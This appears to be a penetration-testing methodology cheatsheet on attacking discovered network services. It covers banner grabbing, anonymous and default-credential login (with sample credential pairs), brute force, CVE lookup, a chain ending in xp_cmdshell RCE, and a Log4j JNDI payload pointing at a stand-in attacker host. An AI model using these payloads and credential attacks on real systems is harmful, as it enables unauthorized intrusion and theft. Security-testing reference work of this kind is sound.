🛡️ Methodology Checklist

  • Identify service: name, version, OS context
  • CVE search: searchsploit + NVD for exact version
  • Test anonymous/null authentication
  • Try default credentials
  • Attempt brute-force (check lockout policy first)
  • Test for known exploits (check version match carefully)
  • Capture credentials/hashes from service interaction
  • Document service banner, creds, and exploitation path

🎯 Operational Context

Use when: Starting attack on any discovered service — structured approach to service exploitation: banner → creds → version → config → CVE. Think Dumber First: Step 1 = banner grab. Step 2 = default/anonymous creds. Step 3 = version CVE check. Step 4 = config misconfigs. Step 5 = credential brute. In that order, every service, every time. Default creds are free — always try first. Skip when: N/A — methodology reference document.


⚡ Tactical Cheatsheet

CommandTactical Outcome
nc -nv [TARGET_IP] [PORT]Banner grab — identify service version
nmap -sV -sC -p [PORT] [TARGET_IP]Service scan with default scripts
ftp [TARGET_IP]anonymous / blankTest FTP anonymous login
smbclient -N -L //[TARGET_IP]Test SMB null session
netexec smb [TARGET_IP] -u '' -p '' --sharesEnumerate SMB shares without credentials
mysql -u root -p -h [TARGET_IP]Test MySQL with no/default password

🔬 Deep Dive & Workflow

The Four-Component Attack Framework

Every vulnerability exploitation follows the same cycle regardless of the service:

PhaseQuestionExamples
SourceWhere does the input come from?User form, HTTP header, config file, API call
ProcessHow is it handled?Function with logic flaw, parser, logging, deserializer
PrivilegesWhat rights does the handler have?SYSTEM, root, service account, unprivileged user
DestinationWhere does execution go?Local file write, network callback, shell

Log4j (CVE-2021-44228) mapped:

  1. Source: ${jndi:ldap://evil.xa/x} injected in User-Agent header
  2. Process: Log4j logs the header, interprets it as a JNDI command
  3. Privileges: Logging service runs with high privileges
  4. Destination: LDAP lookup connects to attacker → downloads and executes malicious Java class

Common Misconfiguration Classes

TypeExamplesCheck
Default credentialsadmin:admin, admin:password, root:12345678Google [service] default credentials
Anonymous accessFTP anonymous, SMB null session, LDAP anon bindConnect with anonymous or blank creds
Excessive permissionsUpload user can read entire rootCheck what you can access after login
Unnecessary featuresTomcat manager, debug pages, directory listingLook for /manager, /admin, /debug

Service Attack Checklist

For any new service encountered:

  1. Banner grab → identify vendor and version
  2. Google [service] [version] default credentials
  3. Test anonymous / null / blank auth
  4. If logged in: enumerate everything visible (ls -R, dir /s, SHOW DATABASES)
  5. Check write permissions → path to RCE
  6. Look for PII, credentials, private keys in accessible content

The Domino Effect (Attack Chain Example)

Anonymous FTP → empty file named "johnsmith" (username discovered)
  → Try johnsmith against email service → login succeeds (weak/no password)
  → Search email for "password" → find MSSQL credentials in inbox
  → Login to MSSQL → enable xp_cmdshell → RCE on DB server

Everything is a clue. Document filenames, authors, email addresses, internal IPs — context builds laterally.


🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Service unknown after banner grabNo banner or non-standard bannerTry protocol-specific probes: nmap -sV --version-intensity 9 -p [PORT] [TARGET]
Default creds list too longToo many combinations to tryStart with service-specific top-10; SecLists has per-service default cred files
Version identified but no CVE foundCheck multiple sourcesTry: NVD, ExploitDB, GitHub CVE-[YEAR]-[NUM], VulhHub, Rapid7 Metasploit modules
CVE confirmed but no exploit availableResearch/private exploitCheck: PoC-in-GitHub project, packet storm, full-disclosure mailing list archives
Service responds differently on retryLoad balancer or clusterDifferent backend nodes may have different versions — scan multiple times from different source IPs

📝 Reporting Trigger

Finding Title: Systematic Service Attack Methodology Applied — Multiple Vulnerabilities Found Impact: Structured service exploitation methodology identifies default credentials, configuration weaknesses, and CVEs across all exposed services, demonstrating that the attack surface was not systematically audited. Root Cause: No documented service hardening standard applied consistently across the environment. Services deployed with default configurations without security review. Recommendation: Implement a service hardening standard (CIS Benchmarks). Enforce change management requiring security review before service deployment. Conduct quarterly service configuration audits against baseline.